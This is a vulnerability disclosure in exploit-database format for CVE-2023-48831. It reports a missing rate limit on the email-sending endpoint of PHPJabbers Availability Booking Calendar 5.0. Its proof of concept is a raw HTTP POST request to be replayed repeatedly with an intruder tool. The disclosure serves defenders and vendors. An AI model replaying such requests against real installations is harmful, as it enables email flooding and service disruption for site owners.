PHPJabbers Availability Booking Calendar 5.0 Missing Rate Limiting

`# Exploit Title: PHPJabbers Availability Booking Calendar v5.0 - No  
Rate Limit in Email  
# Date: 19/11/2023  
# Exploit Author: BugsBD Limited  
# Discover by: Rahad Chowdhury  
# Vendor Homepage: https://www.phpjabbers.com/  
# Software Link:  
https://www.phpjabbers.com/availability-booking-calendar/#sectionDemo  
# Version: v5.0  
# Tested on: Windows 10, Windows 11, Linux  
# CVE-2023-48831  
  
Descriptions:  
Rate limiting is implemented in web applications and APIs to prevent  
abuse, such as brute-force attacks or excessive requests that could  
lead to resource exhaustion. When a rate limit is bypassed or not  
properly enforced, it opens the door for attackers to carry out  
malicious activities more quickly than intended, potentially leading  
to unauthorized access, data breaches, or service disruption.  
  
Steps to Reproduce:  
  
1. Request Data:  
  
POST /1701526313_862/index.php?controller=pjBaseOptions&action=pjActionAjaxSend  
HTTP/1.1  
Host: localhost  
Cookie: _ga=GA1.2.1947184974.1699512498;  
_fbp=fb.1.1699512498084.844079488;  
_ga_NME5VTTGTT=GS1.2.1701527599.5.1.1701527608.51.0.0;  
_gcl_au=1.1.1109346785.1700383352;  
_hjSessionUser_2841064=eyJpZCI6ImVlNjRmZTlkLTlmMDAtNWJmMC05OTk1LWE4ODQzMmNiMGQ0OSIsImNyZWF0ZWQiOjE3MDAzODMzNTQyMDYsImV4aXN0aW5nIjp0cnVlfQ==;  
pj_sid=PJ1.0.3350592650.1700383356; pj_so=PJ1.0.9822262006.1700383356;  
CarRental=pb6krbqhp0ugdgduc39iagulp2; pjd=fmfk4mh95jvo519v16tcbmfte4;  
PHPSESSID=91h58pp95vek8qpp4jj62srb23;  
ShuttleBooking=uhei7cs26l7eoen1bfja4ciaq2;  
TSBCalendar=k2502gveirj5nhpo9ofnbpnrv2;  
ABCalendar=lkoj2qi9cq5dib87qothkc9d77;  
_gid=GA1.2.1184409840.1701527598; _gat=1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)  
Gecko/20100101 Firefox/119.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 502  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Te: trailers  
Connection: close  
  
options_update=1&next_action=pjActionEmailSettings&email=test1%40test.com&value-enum-o_send_email=mail%7Csmtp%3A%3Amail&value-string-o_smtp_host=&value-int-o_smtp_port=25&value-string-o_smtp_user=&value-string-o_smtp_pass=&value-enum-o_smtp_secure=none%7Cssl%7Ctls%3A%3Anone&value-enum-o_smtp_auth=LOGIN%7CPLAIN%3A%3ALOGIN&o_smtp_seder_email_same_as_username=on&value-enum-o_smtp_seder_email_same_as_username=Yes%7CNo%3A%3AYes&value-string-o_sender_email=test%40test.com&value-string-o_sender_name=Test  
  
2. Send it to intruder and configure then attack.  
  
  
## Reproduce:  
[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48831)  
`